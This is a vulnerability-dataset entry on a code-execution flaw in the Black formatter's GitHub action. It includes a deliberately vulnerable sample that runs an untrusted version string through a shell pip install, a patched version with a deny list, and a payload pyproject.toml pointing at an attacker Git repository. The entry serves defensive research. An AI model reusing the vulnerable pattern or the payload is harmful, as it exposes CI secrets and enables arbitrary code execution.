VAITP Dataset

← Back to the dataset

CVE-2026-31900

Black GitHub action vulnerable to code execution via malicious pyproject.toml.

  • CVSS 8.7
  • CWE-20
  • Input Validation and Sanitization
  • Remote

Black is the uncompromising Python code formatter. Black provides a GitHub action for formatting code. This action supports an option, use_pyproject: true, for reading the version of Black to use from the repository pyproject.toml. A malicious pull request could edit pyproject.toml to use a direct URL reference to a malicious repository. This could lead to arbitrary code execution in the context of the GitHub Action. Attackers could then gain access to secrets or permissions available in the context of the action. Version 26.3.0 fixes this vulnerability.

CVSS base score
8.7
Published
2026-03-11
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Build/Package/Merge
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Remote File Inclusion (RFI)
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Black
Fixed by upgrading
Yes

Solution

Upgrade to version 26.3.0.

Vulnerable code sample

import subprocess
import toml
import os

# This script simulates the vulnerable logic of the Black GitHub Action.
# For this demonstration, a malicious 'pyproject.toml' is created first.
# In a real attack, this file would be part of a malicious pull request.

MALICIOUS_PYPROJECT_CONTENT = """
[tool.black]
# The attacker has changed the 'version' to point to a malicious Git URL.
# The URL could also contain shell command injection characters.
version = "black @ git+https://github.com/psf/black.git"
"""

# Create the malicious file for the script to read.
with open("pyproject.toml", "w") as f:
    f.write(MALICIOUS_PYPROJECT_CONTENT)


# --- Start of the vulnerable code logic as it might have existed ---

try:
    # 1. The action script reads the 'pyproject.toml' file provided by the user.
    config = toml.load("pyproject.toml")

    # 2. It naively extracts the 'version' string, trusting it completely.
    version_specifier = config["tool"]["black"]["version"]

    # 3. The untrusted 'version_specifier' is directly used to build a command.
    command = f"pip install {version_specifier}"

    # 4. The command is executed in a shell. This is the core vulnerability.
    # 'pip' will clone the malicious repository and run its 'setup.py',
    # leading to arbitrary code execution. The use of 'shell=True' also
    # opens up direct command injection vulnerabilities if the specifier
    # was crafted with characters like ';' or '|'.
    subprocess.run(command, shell=True, check=True)

finally:
    # Clean up the created file.
    os.remove("pyproject.toml")

Patched code sample

import tomllib
from typing import Any, Dict


def get_safe_black_version_from_config(pyproject_content: str) -> str:
    """
    Safely parses pyproject.toml content to get the black version specifier.

    This function represents a fix for a vulnerability where a malicious
    user could specify a direct URL dependency in the pyproject.toml file,
    leading to arbitrary code execution.

    The fix involves validating that the version specifier is not a URL
    or path-based dependency.

    Args:
        pyproject_content: A string containing the content of a pyproject.toml file.

    Returns:
        A validated, safe version specifier for black.

    Raises:
        ValueError: If the version specifier is missing, malformed, or
                    determined to be a security risk (e.g., a URL).
    """
    try:
        config: Dict[str, Any] = tomllib.loads(pyproject_content)
    except tomllib.TOMLDecodeError:
        raise ValueError("Failed to parse pyproject.toml content.")

    version_specifier = config.get("tool", {}).get("black", {}).get("version")

    if not isinstance(version_specifier, str) or not version_specifier:
        raise ValueError("Black 'version' not specified or invalid in [tool.black].")

    # --- THE VULNERABILITY FIX ---
    # The vulnerability occurs when the version_specifier is passed directly to a
    # package installer without validation. A malicious value could be
    # "black@git+https://example.com/malicious/repo.git".
    #
    # This fix validates the specifier to ensure it does not contain elements
    # indicative of a direct URL reference, which is the attack vector.
    disallowed_substrings = ["@", "://", "git+", "hg+", "bzr+", "svn+"]
    if any(sub in version_specifier for sub in disallowed_substrings):
        raise ValueError(
            f"Potentially unsafe black version specifier: '{version_specifier}'. "
            "Direct URL dependencies are disallowed."
        )

    # The specifier is considered safe if it passes the validation.
    return version_specifier

Payload

[project]
name = "vulnerable-project"
version = "1.0.0"
requires-python = ">=3.8"
dependencies = [
    # other dependencies
]

[project.optional-dependencies]
dev = [
    "black @ git+https://github.com/attacker/malicious-repo.git#egg=black",
    "pytest>=8.0.0",
]

[tool.black]
line-length = 88

Cite this entry

@misc{vaitp:cve202631900,
  title        = {{Black GitHub action vulnerable to code execution via malicious pyproject.toml.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-31900},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31900/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::